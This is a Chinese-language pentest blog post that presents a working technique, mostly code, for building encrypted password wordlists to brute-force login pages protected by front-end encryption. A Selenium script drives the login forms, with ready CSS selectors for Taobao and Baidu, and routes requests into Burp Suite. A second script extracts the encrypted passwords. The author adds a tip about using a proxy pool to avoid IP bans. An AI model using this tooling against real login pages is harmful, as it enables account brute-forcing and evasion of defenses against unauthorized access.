前段时间身为菜鸡的我也终于接到了一个内网任务,由于没有经验渗透过程中花了很多不必要的时间,导致后期在向目标域移动的时候授权time up了。
之中就有一个前端密码加密的OA,js基础只限于alert(1)的我第一次走运地找到了加密函数,兴致勃勃地照着c0ny1师傅的插件https://github.com/c0ny1/jsEncrypter走了流程,从找参与加密的js文件到最终运行一路踩坑,还是因为一段奇怪的字符出了bug,我又不会调。
最后还是用selenium执行js解决的,整个过程两小时。
这一次尚且幸运找到了加密函数,下次找不到了怎么办?用selenium一路点过来,单线程速度慢,多线程内存CPU开销大,再有个http资源加载缓慢,渲染缓慢,标签定位改变,因为爆破流量明显被ban IP,想想就找其他地点去了。
痛定思痛,想到了刚学web的时候,burpsuite开了拦截还怪网页为什么不动,然后发现http history里一列request都卡在那里,一个idea就冒了出来:用selenium设置请求超时,自动换密码点登陆把request发到burp拦截,加密好的密码列表不就有了吗?
from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.common.exceptions import TimeoutException chrome_driver = "E:\Python36\chromedriver.exe" chromeOptions = webdriver.ChromeOptions() chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080') driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions) driver.set_page_load_timeout(0.1)#设置请求超时,直接timeout,不等待,不重载 driver.set_script_timeout(0.1) while(1): name = input("Are you really?[Y|N]") if (name == 'Y') or (name == 'y'): break with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f: lines = f.readlines() #百度 ##usr_css_selector = '#TANGRAM__PSP_10__userName' ##pwd_css_selector = '#TANGRAM__PSP_10__password' ##submit_css_selector = '#TANGRAM__PSP_10__submit' #淘宝 usr_css_selector = '#fm-login-id' pwd_css_selector = '#fm-login-password' submit_css_selector = '#login-form > div.fm-btn > button' print('start') for i in lines[::-1]:#对顺序 try: driver.execute_script(''' var usr = document.querySelector(\''''+usr_css_selector+'''\'); var pwd = document.querySelector(\''''+pwd_css_selector+'''\'); var submit = document.querySelector(\''''+submit_css_selector+'''\'); usr.value = '18888888888'; pwd.value = \'''' + i.strip() +'''\'; submit.removeAttribute('disabled') submit.click(); ''')#removeAttribute去掉disabled、readonly、onfocus=this.blur()等属性,让标签可选中 except TimeoutException: pass print('end')
试试百度
保存request,处理一下,就是加密好的密码列表
import re file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb' with open(file_path,'r',encoding='utf8')as f: lines = f.readlines() with open(file_path+'_crypto','w',encoding='utf8')as f: for i in lines: if 'username=18888888888&password=' in i: crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0] f.write(crypto_pwd + '\n')
再试试淘宝,淘宝的login请求包在burp里不drop的话,登陆按钮会等待一段时间才能按,看标签并未发现disable等属性。一直点drop也不是办法,这时又想到了给burp加socks代理时默认是错误主机127.0.0.,相当于直接drop request了,不会像设置错误端口时一样等待一段时间才会timeout。
勾选之后就不用拦截request了。
当然淘宝的动态key和滑块我尚未涉略。
最后附一张获取代码中css_selector参数的图。
流程:打开burp -> 设置socks代理127.0.0. -> 运行_selenium.py -> 确认请求包能到达burp -> 输入Y -> 保存并处理request
按这个流程操作,输入Y到映射出密码列表只需要几秒,还不用找加密函数。接个代理池,流量就不会那么明显了。